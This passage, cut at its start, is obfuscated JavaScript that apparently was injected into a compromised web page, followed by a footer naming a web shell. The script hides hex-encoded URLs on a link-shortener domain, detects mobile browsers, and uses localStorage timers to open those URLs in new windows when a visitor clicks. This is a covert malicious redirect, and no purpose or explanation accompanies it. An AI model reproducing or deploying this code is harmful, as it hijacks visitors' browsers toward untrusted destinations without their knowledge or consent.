_0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x58\x64\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x73\x78\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Zerion Mini Shell 1.0